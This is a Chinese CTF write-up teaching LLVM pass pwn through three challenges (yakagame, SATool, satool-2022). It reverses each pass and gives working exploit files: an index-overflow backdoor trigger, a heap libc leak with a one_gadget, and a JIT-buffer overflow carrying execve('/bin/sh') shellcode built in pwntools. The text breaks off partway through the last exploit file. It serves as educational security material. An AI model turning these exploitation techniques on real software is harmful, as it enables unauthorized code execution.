Niyah

llvm pass入门

都什么年代还在做传统 pwn 题,来通过几道题目来入门 llvm pass pwn

# llvm pass pwn 入门

都什么年代还在做传统 pwn 题,来通过几道题目来入门 llvm pass pwn

# 环境配置

ubuntu18 下安装 clang-8 环境

apt-get install -y clang++-8 libc++-8-dev libc++abi-8-dev

# yakagame

# 分析处理逻辑

对.so 文件进行逆向

image-20220812100508092

得到函数名如下

gamestart

fight

merge

destroy

upgrade

wuxiangdeyidao

zhanjinniuza

guobapenhuo

tiandongwanxiang

一眼原,另外,在处理完这些函数之后,程序还对其他函数名的函数进行了处理,这里对其他函数的处理又涉及了另一个全局的数组 funMap ,说实话看到这里我有点懵,c++ 的我直接有点看不懂,没办法,看不懂的直接调试,这里先放着,先去看看其他函数

image-20220812101204204

首先是 fight 函数

image-20220812102407752

这里还是比较友好的,首先拿到一个参数作为 index,之后通过 index 从 weaponlist 拿到一个值,之后和 boss 这个全局变量进行比较

image-20220812102804574

如果拿出来的值扣去 boss 血量大于 0x12345678 时就执行后门,后面里边有 system 函数的调用

image-20220812151826692

个人感觉通过正常流程执行到这个后门是有可能的

其次是 merge 函数

image-20220812103033447

将两个参数当成 index ,作为 weaponlist 的索引实现 add 操作

然后是 destroy 函数

image-20220812103232473

将参数当成 index ,作为 weaponlist 的索引实现置 0 操作

之后是 upgrade 函数

image-20220812103429021

weaponlist 每个字节加上参数的值

最后是 原味 函数

image-20220812103548263

一队四个人,还挺严谨,都是减去 boss 血量之后对 cmd 也就是后门的参数进行操作

看到这里,我个人的思路主要在于 merge 操作,这个操作里似乎看起来好像没有对 index 做限制,因此似乎可以随意修改全局变量的值??可以看到,这些全局变量都贴的比较近,有没有一种可能,可以通过 merge 对这些全局变量进行控制呢?

image-20220812104308236

另外,还有最后一个处理流程是怎样的呢,带着这两个疑问,我们进入调试

# 调试与分析

首先写一个简单的测试把所有函数都用上尝试一下

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);

void gamestart()
{
    wuxiangdeyidao();
    zhanjinniuza();
    guobapenhuo();
    tiandongwanxiang();
    upgrade(0x50);
    destroy(6);
    merge(-1,0);
    fight(1);
}

处理并运行一下

clang-8 -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./yaka.so -ayaka ./exp.ll

效果如下

image-20220812105250789

这里的函数只有 upgradefight 有回显,也看不出什么来,有不得不调试的理由了呢

由于直接调试的是 opt 文件,因此要等.so 文件加载出来后才可以进行调试

先把 aslr 关了方便调试

echo 0 > /proc/sys/kernel/randomize_va_space

运行得到 yaka.so 的起始地址

image-20220812112911487

程序还是要先进入 opt 的,首先将断点下在 main 函数,找到什么时候加载 yaka.so,之后将断点下在该位置,然后就可以在 yaka.so 里下断点了,这里直接在 yaka.sofight 处理模块下断点

断点一 :0x4b8e0e

断点二 :0xCAD7+0x7ffff238e000

之后查看关键全局变量,注意看,测试的 merge (-1,0) 貌似没有操作,但是在 weaponlist 最后有个 0xa0,这个应该就是 merge 操作后的结果,-1 被处理成 0xff 了

image-20220812114818735

image-20220812115832005

负向溢出不行,正向溢出经尝试也不行,因此还是得看最后的函数处理

断点一 :0x4b8e0e

断点二 :0xD12E+0x7ffff238e000

随便写个函数

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);

void gamestart()
{
    aaaa(0);
    bbbb(1);
}

神踏马居然过了,原来写啥样的都行,只要是 c 语言函数库以外的就行

image-20220812120714995

但是貌似没用,现在的关键是如何进到下面对 weaponlist 有操作的分支

image-20220812121801201

不过 c 嘉嘉的看起来真的是一坨,再调试一下,运行之后发现原本为空的 funMap 有了内容

image-20220812125740845

再 continue 到下次运行到此处, funMap 内容已经有了更新,并且以某种链表的形式串了起来

image-20220812125921904

那么可以猜测,程序遇到不认识的函数就会用 funMap 存起来

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);

void gamestart()
{
    aaaa(0);
    bbbb(1);
    aaaa(0);
    aaaa(0);
}

更新一下脚本,再次运行,这样就大概弄清楚了,遇到不认识的函数,首先会查 funMap 表,如果里面有就进入 weaponlist 的操作流程,如果没有就存起来

image-20220812130234313

接着进去看看 weaponlist 被赋值成了什么

断点二:0xD1C5+0x7ffff238e000

貌似是被赋值成为了函数里的参数,更新一下脚本

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);

void gamestart()
{
    aaaa(77);
    bbbb(1);
    aaaa(77);
    bbbb(1);
    aaaa(77);

    fight(1);
}

再次断点调试,成功写入

image-20220812131949975

但是貌似每个函数只能用一次?

之后发现,map 搜索到函数所用的次数就是 index,而这个 map 是通过函数名字符串来索引的,换句话说,插入 map 表的函数的位置就是调用时被写入的 index,也就是说,不是这个函数只能用一次,而是这个函数用几次效果都一样,都只能写到对应位置

# 攻击

我们再次回到那个循环,可以看到循环的这个 idx 仅仅是 char 类型

image-20220812140225145

而 char 类型的范围是 -128 ~ +127 ,因此只要 map 表足够长,循环足够多的次数,就可以实现负向溢出了,用 python 生成一下 0x100 个函数名,实现 -0x80 到 0xff 的控制

from pwn import *
import os

str1 = ''
for i in range(0x100):
    str1 += 'void fun{0:03}'.format( i) + '(int a);\n'

str2 = ''
for i in range(0x100):
    str2 += 'fun{0:03}'.format( i) + '(0);\n'


# print(str1)
print(str2)

我们再来看看关键的全局变量,这些实际上都是指针,怎么办呢,我们可以找个 sh 字符串来替换 cmd,可以看到, opt-8 程序没有开 pie,因此可以直接在这里找 sh 字符串

image-20220812141233258

很经典的 fflush 函数

image-20220812141427940

addr : 0x6efdad

最后是 score ,我们再回到 fight 这个地方,你会发现,就算是 loss 也会执行最后的判断,因此不是强迫症我们根本不需要管前面的玩意

再看下这个比较,把 score 里的东西作为 __int64 指针解析,那么我们只需要改一下指针的偏移,让他随便指向一个地址即可过检查了

image-20220812142754246

这个时候又想到了 opt-8 这个程序,里面的 got 表他不就是指向了一个地址吗,我们随便弄一个过来用

addr : 0x77dfd8

写入成功

image-20220812145212710

都到这里也不需要调了,攻击成功

image-20220812143726920

脚本

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);

void fun000(int a);
void fun001(int a);
void fun002(int a);
void fun003(int a);
void fun004(int a);
void fun005(int a);
void fun006(int a);
void fun007(int a);
void fun008(int a);
void fun009(int a);
void fun010(int a);
void fun011(int a);
void fun012(int a);
void fun013(int a);
void fun014(int a);
void fun015(int a);
void fun016(int a);
void fun017(int a);
void fun018(int a);
void fun019(int a);
void fun020(int a);
void fun021(int a);
void fun022(int a);
void fun023(int a);
void fun024(int a);
void fun025(int a);
void fun026(int a);
void fun027(int a);
void fun028(int a);
void fun029(int a);
void fun030(int a);
void fun031(int a);
void fun032(int a);
void fun033(int a);
void fun034(int a);
void fun035(int a);
void fun036(int a);
void fun037(int a);
void fun038(int a);
void fun039(int a);
void fun040(int a);
void fun041(int a);
void fun042(int a);
void fun043(int a);
void fun044(int a);
void fun045(int a);
void fun046(int a);
void fun047(int a);
void fun048(int a);
void fun049(int a);
void fun050(int a);
void fun051(int a);
void fun052(int a);
void fun053(int a);
void fun054(int a);
void fun055(int a);
void fun056(int a);
void fun057(int a);
void fun058(int a);
void fun059(int a);
void fun060(int a);
void fun061(int a);
void fun062(int a);
void fun063(int a);
void fun064(int a);
void fun065(int a);
void fun066(int a);
void fun067(int a);
void fun068(int a);
void fun069(int a);
void fun070(int a);
void fun071(int a);
void fun072(int a);
void fun073(int a);
void fun074(int a);
void fun075(int a);
void fun076(int a);
void fun077(int a);
void fun078(int a);
void fun079(int a);
void fun080(int a);
void fun081(int a);
void fun082(int a);
void fun083(int a);
void fun084(int a);
void fun085(int a);
void fun086(int a);
void fun087(int a);
void fun088(int a);
void fun089(int a);
void fun090(int a);
void fun091(int a);
void fun092(int a);
void fun093(int a);
void fun094(int a);
void fun095(int a);
void fun096(int a);
void fun097(int a);
void fun098(int a);
void fun099(int a);
void fun100(int a);
void fun101(int a);
void fun102(int a);
void fun103(int a);
void fun104(int a);
void fun105(int a);
void fun106(int a);
void fun107(int a);
void fun108(int a);
void fun109(int a);
void fun110(int a);
void fun111(int a);
void fun112(int a);
void fun113(int a);
void fun114(int a);
void fun115(int a);
void fun116(int a);
void fun117(int a);
void fun118(int a);
void fun119(int a);
void fun120(int a);
void fun121(int a);
void fun122(int a);
void fun123(int a);
void fun124(int a);
void fun125(int a);
void fun126(int a);
void fun127(int a);
void fun128(int a);
void fun129(int a);
void fun130(int a);
void fun131(int a);
void fun132(int a);
void fun133(int a);
void fun134(int a);
void fun135(int a);
void fun136(int a);
void fun137(int a);
void fun138(int a);
void fun139(int a);
void fun140(int a);
void fun141(int a);
void fun142(int a);
void fun143(int a);
void fun144(int a);
void fun145(int a);
void fun146(int a);
void fun147(int a);
void fun148(int a);
void fun149(int a);
void fun150(int a);
void fun151(int a);
void fun152(int a);
void fun153(int a);
void fun154(int a);
void fun155(int a);
void fun156(int a);
void fun157(int a);
void fun158(int a);
void fun159(int a);
void fun160(int a);
void fun161(int a);
void fun162(int a);
void fun163(int a);
void fun164(int a);
void fun165(int a);
void fun166(int a);
void fun167(int a);
void fun168(int a);
void fun169(int a);
void fun170(int a);
void fun171(int a);
void fun172(int a);
void fun173(int a);
void fun174(int a);
void fun175(int a);
void fun176(int a);
void fun177(int a);
void fun178(int a);
void fun179(int a);
void fun180(int a);
void fun181(int a);
void fun182(int a);
void fun183(int a);
void fun184(int a);
void fun185(int a);
void fun186(int a);
void fun187(int a);
void fun188(int a);
void fun189(int a);
void fun190(int a);
void fun191(int a);
void fun192(int a);
void fun193(int a);
void fun194(int a);
void fun195(int a);
void fun196(int a);
void fun197(int a);
void fun198(int a);
void fun199(int a);
void fun200(int a);
void fun201(int a);
void fun202(int a);
void fun203(int a);
void fun204(int a);
void fun205(int a);
void fun206(int a);
void fun207(int a);
void fun208(int a);
void fun209(int a);
void fun210(int a);
void fun211(int a);
void fun212(int a);
void fun213(int a);
void fun214(int a);
void fun215(int a);
void fun216(int a);
void fun217(int a);
void fun218(int a);
void fun219(int a);
void fun220(int a);
void fun221(int a);
void fun222(int a);
void fun223(int a);
void fun224(int a);
void fun225(int a);
void fun226(int a);
void fun227(int a);
void fun228(int a);
void fun229(int a);
void fun230(int a);
void fun231(int a);
void fun232(int a);
void fun233(int a);
void fun234(int a);
void fun235(int a);
void fun236(int a);
void fun237(int a);
void fun238(int a);
void fun239(int a);
void fun240(int a);
void fun241(int a);
void fun242(int a);
void fun243(int a);
void fun244(int a);
void fun245(int a);
void fun246(int a);
void fun247(int a);
void fun248(int a);
void fun249(int a);
void fun250(int a);
void fun251(int a);
void fun252(int a);
void fun253(int a);
void fun254(int a);
void fun255(int a);

void gamestart()
{
    fun000(0);
    fun001(0);
    fun002(0);
    fun003(0);
    fun004(0);
    fun005(0);
    fun006(0);
    fun007(0);
    fun008(0);
    fun009(0);
    fun010(0);
    fun011(0);
    fun012(0);
    fun013(0);
    fun014(0);
    fun015(0);
    fun016(0);
    fun017(0);
    fun018(0);
    fun019(0);
    fun020(0);
    fun021(0);
    fun022(0);
    fun023(0);
    fun024(0);
    fun025(0);
    fun026(0);
    fun027(0);
    fun028(0);
    fun029(0);
    fun030(0);
    fun031(0);
    fun032(0);
    fun033(0);
    fun034(0);
    fun035(0);
    fun036(0);
    fun037(0);
    fun038(0);
    fun039(0);
    fun040(0);
    fun041(0);
    fun042(0);
    fun043(0);
    fun044(0);
    fun045(0);
    fun046(0);
    fun047(0);
    fun048(0);
    fun049(0);
    fun050(0);
    fun051(0);
    fun052(0);
    fun053(0);
    fun054(0);
    fun055(0);
    fun056(0);
    fun057(0);
    fun058(0);
    fun059(0);
    fun060(0);
    fun061(0);
    fun062(0);
    fun063(0);
    fun064(0);
    fun065(0);
    fun066(0);
    fun067(0);
    fun068(0);
    fun069(0);
    fun070(0);
    fun071(0);
    fun072(0);
    fun073(0);
    fun074(0);
    fun075(0);
    fun076(0);
    fun077(0);
    fun078(0);
    fun079(0);
    fun080(0);
    fun081(0);
    fun082(0);
    fun083(0);
    fun084(0);
    fun085(0);
    fun086(0);
    fun087(0);
    fun088(0);
    fun089(0);
    fun090(0);
    fun091(0);
    fun092(0);
    fun093(0);
    fun094(0);
    fun095(0);
    fun096(0);
    fun097(0);
    fun098(0);
    fun099(0);
    fun100(0);
    fun101(0);
    fun102(0);
    fun103(0);
    fun104(0);
    fun105(0);
    fun106(0);
    fun107(0);
    fun108(0);
    fun109(0);
    fun110(0);
    fun111(0);
    fun112(0);
    fun113(0);
    fun114(0);
    fun115(0);
    fun116(0);
    fun117(0);
    fun118(0);
    fun119(0);
    fun120(0);
    fun121(0);
    fun122(0);
    fun123(0);
    fun124(0);
    fun125(0);
    fun126(0);
    fun127(0);
    fun128(0);
    fun129(0);
    fun130(0);
    fun131(0);
    fun132(0);
    fun133(0);
    fun134(0);
    fun135(0);
    fun136(0);
    fun137(0);
    fun138(0);
    fun139(0);
    fun140(0);
    fun141(0);
    fun142(0);
    fun143(0);
    fun144(0);
    fun145(0);
    fun146(0);
    fun147(0);
    fun148(0);
    fun149(0);
    fun150(0);
    fun151(0);
    fun152(0);
    fun153(0);
    fun154(0);
    fun155(0);
    fun156(0);
    fun157(0);
    fun158(0);
    fun159(0);
    fun160(0);
    fun161(0);
    fun162(0);
    fun163(0);
    fun164(0);
    fun165(0);
    fun166(0);
    fun167(0);
    fun168(0);
    fun169(0);
    fun170(0);
    fun171(0);
    fun172(0);
    fun173(0);
    fun174(0);
    fun175(0);
    fun176(0);
    fun177(0);
    fun178(0);
    fun179(0);
    fun180(0);
    fun181(0);
    fun182(0);
    fun183(0);
    fun184(0);
    fun185(0);
    fun186(0);
    fun187(0);
    fun188(0);
    fun189(0);
    fun190(0);
    fun191(0);
    fun192(0);
    fun193(0);
    fun194(0);
    fun195(0);
    fun196(0);
    fun197(0);
    fun198(0);
    fun199(0);
    fun200(0);
    fun201(0);
    fun202(0);
    fun203(0);
    fun204(0);
    fun205(0);
    fun206(0);
    fun207(0);
    fun208(0);
    fun209(0);
    fun210(0);
    fun211(0);
    fun212(0);
    fun213(0);
    fun214(0);
    fun215(0);
    fun216(0);
    fun217(0);
    fun218(0);
    fun219(0);
    fun220(0);
    fun221(0);
    fun222(0);
    fun223(0);
    fun224(0);
    fun225(0);
    fun226(0);
    fun227(0);
    fun228(0);
    fun229(0);
    fun230(0);
    fun231(0);

    // -0x18
    fun232(0xad);
    fun233(0xfd);
    fun234(0x6e);
    fun235(0);
    fun236(0);
    fun237(0);
    fun238(0);
    fun239(0);

    // -0x10
    fun240(0xd8);
    fun241(0xdf);
    fun242(0x77);
    fun243(0);
    fun244(0);
    fun245(0);
    fun246(0);
    fun247(0);
    fun248(0);
    fun249(0);
    fun250(0);
    fun251(0);
    fun252(0);
    fun253(0);
    fun254(0);
    fun255(0); // -1

    fun232(0xad);
    fun233(0xfd);
    fun234(0x6e);
    
    fun240(0xd8);
    fun241(0xdf);
    fun242(0x77);

    fight(1);
}

# SATool

来自于 ciscn2021 初赛

# 分析处理逻辑

比起 yakagame 根本不能看,yakagame 至少还能勉强看明白,这个程序完全就是一坨,在里面摸了几个字符串如下

B4ckDo0r

save

takeaway

stealkey

fakekey

run

这个 run 一看就很可疑好吧(…,不过现在连函数有几个参数都不清楚,并且运行还没回显,连程序跑到哪里都不知道,再加上检查和处理逻辑全放一堆,导致静态非常地难看

# 调试与分析

opt 程序是一样的,第一个断点也可以一样

# save

先尝试一下一个参数的 save("deadbeef"); ,然后断在 malloc 下面,为什么选字符串呢,因为我看到了个 memcpy ^^

断点一 :0x4b8e0e

断点二 :0x1CC2 + 0x7ffff23a0000

.text:0000000000001CB8                 mov     edi, 18h        ; size
.text:0000000000001CBD                 call    _malloc
.text:0000000000001CC2                 mov     rbx, rax

image-20220815110744695

直接寄了

接下来有理由怀疑是两个字符串 save("deadbeef" ,"test"); ,因为 memcpy 出现了两次 ^^,果然过了

# takeaway

下面就一个 free,有理由怀疑没有参数,直接试一下捏,我猜程序里有很多地方调用 free,直接断 free 应该不行

断点一 :0x4b8e0e

断点二 :0x1F4F + 0x7ffff23a0000

寄了

感觉是 free 前面一大坨检查没有过,把断点改上一点

断点二 :0x1E1E + 0x7ffff23a0000

还是不行,换一个字符串参数试试 takeaway("deadbeef"); 可以了捏,还真 free 掉了,估计 save 的第一个参数就是 key 第二个参数就是 data (之类的

# stealkey

这个模块这么短,一看就不需要参数吧(

断点一 :0x4b8e0e

断点二 :0x1FFA+ 0x7ffff23a0000

果然

image-20220815114811003

在这之后顺便看看全局变量,将里面的 key 以 8 字节解引用了一份出来

image-20220815114931144

# fakekey

这个函数我是眼熟的 llvm::APInt::getSExtValue 参数是 Int 嘛

image-20220815115729411

断点一 :0x4b8e0e

断点二 :0x2121+ 0x7ffff23a0000

看得出来这里就是把 key 加上了一个偏移再复制回去

image-20220815120801309

执行这段前

image-20220815120919584

执行这段后,果然已经加上了这个偏移

image-20220815120957014

# run

最后就是逆大天的函数,run,这里貌似直接把 key 当成函数调用了

image-20220815121641481

只能说出题人是懂 ctf 的

断点一 :0x4b8e0e

断点二 :0x21BC+ 0x7ffff23a0000

到这里直接 call,太棒了

image-20220815122828165

那么我们只需要把这里改成 gadget 就行了,考虑到此时栈上一大堆地方是 0,甚至可以直接用 onegadget ,但是改成 onegadget 的话应当需要知道 libc 的基地址

# 攻击

再回头看看,可以看到程序通过堆来申请内存,之后通过 memcpy 来复制内容,这个 memcpy 的第三个参数不知道从哪里来的,有可能是获取参数时顺带获得的

首先我们看一下申请前的堆布局,这个时候申请 0x18 的块肯定会拿掉 fastbin 里的堆块,这样我们拿不到 libc 地址

image-20220815123928234

那么我们直接申请两次,第二次 key 只给一个字符,下面的堆布局申请 0x18 肯定就会拿 libc 的地址了

image-20220815124419606

image-20220815124452243

执行后看看下面的 memcpy,可以看到只 cp 了俩字符,因此是可以拿到 libc 的

image-20220815124618627

直接 save("" , "test"); 试了下也可以

这样我们可以使用如下脚本

void save(char *a , char *b);
void takeaway(char *a);
void stealkey();
void fakekey(int a);
void run();

void B4ckDo0r()
{
	save("deadbeef" , "test");
	save("" , "test");
	stealkey();
	// fakekey(0x111);

	run();
}

之后断在 stealkey 查看全局变量的内存,可以看到已经有 libc 地址了

image-20220815125731379

接下来找个 ogg ,因为大部分肯定是满足的,我们随便找一个就行(经尝试第一个不行

image-20220815125923440

ogg_offset:0x4f432

offset = - 0x39c87e

最后的脚本

void save(char *a , char *b);
void takeaway(char *a);
void stealkey();
void fakekey(int a);
void run();

void B4ckDo0r()
{
	save("deadbeef" , "test");
	save("" , "test");
	stealkey();
	fakekey(- 0x39c87e);

	run();
}

成功调用 ogg

image-20220815131244841

成功 getshell

image-20220815131307256

# satool-2022

接下来这题更是重量级,但是比起上次国赛那题,已经工整很多了

ubuntu22 下安装 llvm-12

sudo apt install llvm-12

# 分析处理逻辑

进入 MBAPass::handle 函数进行分析

char *__fastcall `anonymous namespace'::MBAPass::handle(context *this, llvm::Function *a2)
{
	/// ///
  stop_addr = this->code + 0xFF0;
  v29 = (llvm::BasicBlock *)llvm::Function::front(a2);
  Terminator = (llvm::User *)llvm::BasicBlock::getTerminator(v29);
  Operand = llvm::User::getOperand(Terminator, 0);
  if ( (llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1) != 0 )
  {
    this->number = 0;
    v2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(Operand);
    number = llvm::ConstantInt::getSExtValue(v2);
    `anonymous namespace'::MBAPass::writeMovImm64(this, 0, number);
    return `anonymous namespace'::MBAPass::writeRet(this);
  }
  else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1) != 0 )
  {
    this->number = 1;
    `anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
    return `anonymous namespace'::MBAPass::writeRet(this);
  }
  else
  {
    `anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
    this->number = 0;
    std::stack<llvm::Value *>::stack<std::deque<llvm::Value *>,void>(op_stack);
    std::stack<int>::stack<std::deque<int>,void>(num_stack);
    std::stack<llvm::Value *>::push(op_stack, &Operand);
    v24 = 1;
    std::stack<int>::push(num_stack, &v24);
    while ( this->pointer < stop_addr )
    {
      if ( !std::stack<llvm::Value *>::size(op_stack) )
      {
        `anonymous namespace'::MBAPass::writeRet(this);
        break;
      }
      op = *(llvm **)std::stack<llvm::Value *>::top(op_stack);
      std::stack<llvm::Value *>::pop(op_stack);
      num = *(_DWORD *)std::stack<int>::top(num_stack);
      std::stack<int>::pop(num_stack);
      v5 = op;
      opcode = (llvm *)llvm::dyn_cast<llvm::BinaryOperator,llvm::Value>(op);
      if ( !opcode )
      {
        v6 = llvm::errs(v5);
        v7 = llvm::raw_ostream::operator<<(v6, "Unsupported opcode: ");
        v8 = llvm::operator<<(v7, op);
        llvm::raw_ostream::operator<<(v8, "\n");
        exit(-1);
      }
      if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) != 13 )// add
      {
        v9 = opcode;
        if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) != 15 )// dec
        {
          v10 = llvm::errs(v9);
          v15 = llvm::raw_ostream::operator<<(v10, "Unsupported opcode: ");
          OpcodeName = llvm::Instruction::getOpcodeName(opcode);
          v12 = llvm::raw_ostream::operator<<(v15, OpcodeName);
          llvm::raw_ostream::operator<<(v12, "\n");
          exit(-1);
        }
      }
      tmp_1 = llvm::BinaryOperator::getOperand(opcode, 0);// add
      tmp_2 = llvm::BinaryOperator::getOperand(opcode, 1u);
      if ( (llvm::isa<llvm::Constant,llvm::Value *>(&tmp_1) & 1) != 0 )
      {
        v13 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(tmp_1);
        sign = llvm::ConstantInt::getSExtValue(v13);
        if ( sign == 1 || sign == -1 )
        {
          `anonymous namespace'::MBAPass::writeInc(this, sign * num);
        }
        else
        {
          `anonymous namespace'::MBAPass::writeMovImm64(this, 1, sign * num);
          `anonymous namespace'::MBAPass::writeOpReg(this, 1);
        }
      }
      else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&tmp_1) & 1) != 0 )
      {
        this->number += num;
      }
      else
      {
        std::stack<llvm::Value *>::push(op_stack, &tmp_1);
        std::stack<int>::push();
      }
      if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) == 15 )// dec
        num = -num;
      if ( (llvm::isa<llvm::Constant,llvm::Value *>(&tmp_2) & 1) != 0 )
      {
        v14 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(tmp_2);
        sign1 = llvm::ConstantInt::getSExtValue(v14);
        if ( sign1 == 1 || sign1 == -1 )
        {
          `anonymous namespace'::MBAPass::writeInc(this, num);
        }
        else
        {
          `anonymous namespace'::MBAPass::writeMovImm64(this, 1, sign1 * num);
          `anonymous namespace'::MBAPass::writeOpReg(this, 1);
        }
      }
      else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&tmp_2) & 1) != 0 )
      {
        this->number += num;
      }
      else
      {
        std::stack<llvm::Value *>::push(op_stack, &tmp_2);
        std::stack<int>::push();
      }
    }
    std::stack<int>::~stack();
    return (char *)std::stack<llvm::Value *>::~stack(op_stack);
  }
}

本来我还挺喜欢把 ida 反编译出来的屎来修复修复的,但是看着这坨 c 嘉嘉硬是提不起兴趣,这里其实就是通过栈来优化我们写的加减法代码,之后写进一块内存中,然后就开始执行这块地方,最后输出一坨优化后的代码

image-20220815162920191

然后,其实程序中有一个很迷的操作,程序貌似将 code 字段复制了一份当成 pointer 指针,之后将将 code 字段 0xff0 偏移处当成了一个终止地址,每通过循环添加代码指针就增加,当指针增加到 code + 0xff0 处就停止

但是,实际上这里经不起推敲,下面代码有个很经典的溢出错误

image-20220815171950164

当我们刚好满足条件后,再执行就会有溢出,之后就会在 code + 0xff0 外残留一段代码,那么第二次的 code 如果够长,刚好溢出并且没有将 ret 写进去

这时候如果这段代码里可以解析成跳转类指令,而在这之前有如这样的指令

add rax , xxxxxxxx

万一能刚好跳到立即数 xxxxxxxx 中,而这 xxxxxxxx 又刚好能作为 shellcode 解析,之后通过 jmp $+x 来进行跳转到另一个立即数里,就可以执行 shellcode 了捏

# 调试与分析

首先这题和前面两题不一样,没有踏马的函数名给你解析,只有自己照着给的 demo 去做

define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
  %2 = sub nsw i64 %0, 2
  %3 = add nsw i64 %2, 68
  %4 = add nsw i64 %0, 6
  %5 = add nsw i64 %4, -204
  %6 = add nsw i64 %5, %3
  ret i64 %6
}

可以先跑一下这个 demo

image-20220816092513020

跟预期结果一样,再试一下下面跑两次的

define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
  %2 = sub nsw i64 %0, 2
  %3 = add nsw i64 %2, 68
  %4 = add nsw i64 %0, 6
  %5 = add nsw i64 %4, -204
  %6 = add nsw i64 %5, %3
  ret i64 %6
}

define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
  %2 = sub nsw i64 %0, 2
  %3 = add nsw i64 %2, 11111
  %4 = add nsw i64 %0, 2222
  %5 = add nsw i64 %4, -111111111
  %6 = add nsw i64 %5, %3
  ret i64 %6
}

也是 ok 的

image-20220816092856368

其实这题在我看来最关键的漏洞并不是那个溢出,而是没有初始化,其实无论是否溢出,如果没有最后的 ret 指令,那么 code 段还是会一直执行的,这样就可能执行到立即数解析出来的代码

这里如果立即数为 1 就会变成 INC 指令,结合不同于它长度的指令可以错位

image-20220816135450883

这条命令占 3 字节,另一条占 13 字节

image-20220816135621731

接下来尝试使用如下 exp,调试一下

define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 0
  %3 = add nsw i64 %2, 43499
  %4 = add nsw i64 %3, 43499
  %5 = add nsw i64 %4, 43499
  %6 = add nsw i64 %5, 43499
  ret i64 %6
}

define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 1
  ret i64 %2
}

断点

断点一:0x42fe64

断点二:0xF750 + 0x7fffefdc7000

可以看到第二次运行到这里执行的 shellcode 如下,可以看见 ret 下面还有一堆残留,只不过因为 ret 执行不到

image-20220816101533371

接下来就构造溢出的字节

总长度 0xff0

我们总是想多溢出一些的,抛开前面的必写进去的两个字节,那么我们前面的长度最好凑成 0xfee ,最后一条指令的立即数刚好全部溢出去,调试发现前面会自动有一个 10 字节的命令

3*4 + 13*312 = 0xfee - 10

因此写 4 条 inc 312 条 add 就行

成功溢出成 0x1122334455667788

image-20220816141657227

# 攻击

展开攻击,首先我们第一次可以溢出成可控的立即数,接着我们来进行第二次执行 shellcode 的编写

先不考虑 getshell 的问题,我们的长度也要刚好溢出并且写不进 ret 这样就会执行残留的 shellcode

3*9 + 13*311= 0xff0 - 10

运行后断到第二次 call shellcode ,果然没有写进 ret,并且已经把这个立即数当成 shellcode 执行了

image-20220816143329327

接下来就是把这个立即数改成一个跳转指令 ,之后就可以跳到其他立即数中了每个立即数长 8 字节要分出 2 个字节来写跳转指令,所以每条指令长度不能超过 6,然后是 shellcode 的编写,首先是每次的跳转指令,因为要跳到下一个立即数段

每 13 字节的指令中

2 + 8 + 3

其中 8 字节为可控字节

因为是栈操作后指令会倒过来,第一次跳转应为8+3=11 字节,之后的每一次跳转应为8+2+3+8-2=19 字节,成功实现跳转

image-20220816162029472

这题的核心在于构造 shellcode,而构造 shellcode 的核心在于 binsh 字符串,我认为可以使用 mov edi,xxx 之类的指令,可以减少长度,之后用寄存器左移指令移动到寄存器的高位,这样就可以写出如下 shellcode

mov edi , 0x68732f
shl rdi , 32
mov esi , 0x6e69622f
add rdi , rsi
push rdi
mov rdi , rsp
xor rsi , rsi
xor rdx , rdx
mov eax , 0x3B
syscall

写一个 py 脚本生成一下立即数

from pwn import *

context.update( os = 'linux', arch = 'amd64',timeout = 1)

# for i in range(408):
#     print('%{} = add nsw i64 %{}, 43499'.format(i+1,i))

# for i in range(999):
#     for j in range(999):
#         if (3*i + j*13 ==(0xff0-10)):
#             print(i,j)

shellcode = [
    'mov edi , 0x68732f',
    'shl rdi , 32',
    'mov esi , 0x6e69622f',
    'add rdi , rsi',
    'push rdi',
    'mov rdi , rsp',
    'xor rsi , rsi',
    'xor rdx , rdx',
    'mov eax , 0x3B',
    'syscall'
]

for i in shellcode:
    print( u64(asm(i).ljust(6 , '\x90') + asm("jmp $-19")) )

运行优化 exp 可以 getshell

image-20220816162205717

最后的 exp.ll 文件

define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 62443
  %3 = add nsw i64 %2, 43499
  %4 = add nsw i64 %3, 43499
  %5 = add nsw i64 %4, 43499
  %6 = add nsw i64 %5, 43499
  %7 = add nsw i64 %6, 43499
  %8 = add nsw i64 %7, 43499
  %9 = add nsw i64 %8, 43499
  %10 = add nsw i64 %9, 43499
  %11 = add nsw i64 %10, 43499
  %12 = add nsw i64 %11, 43499
  %13 = add nsw i64 %12, 43499
  %14 = add nsw i64 %13, 43499
  %15 = add nsw i64 %14, 43499
  %16 = add nsw i64 %15, 43499
  %17 = add nsw i64 %16, 43499
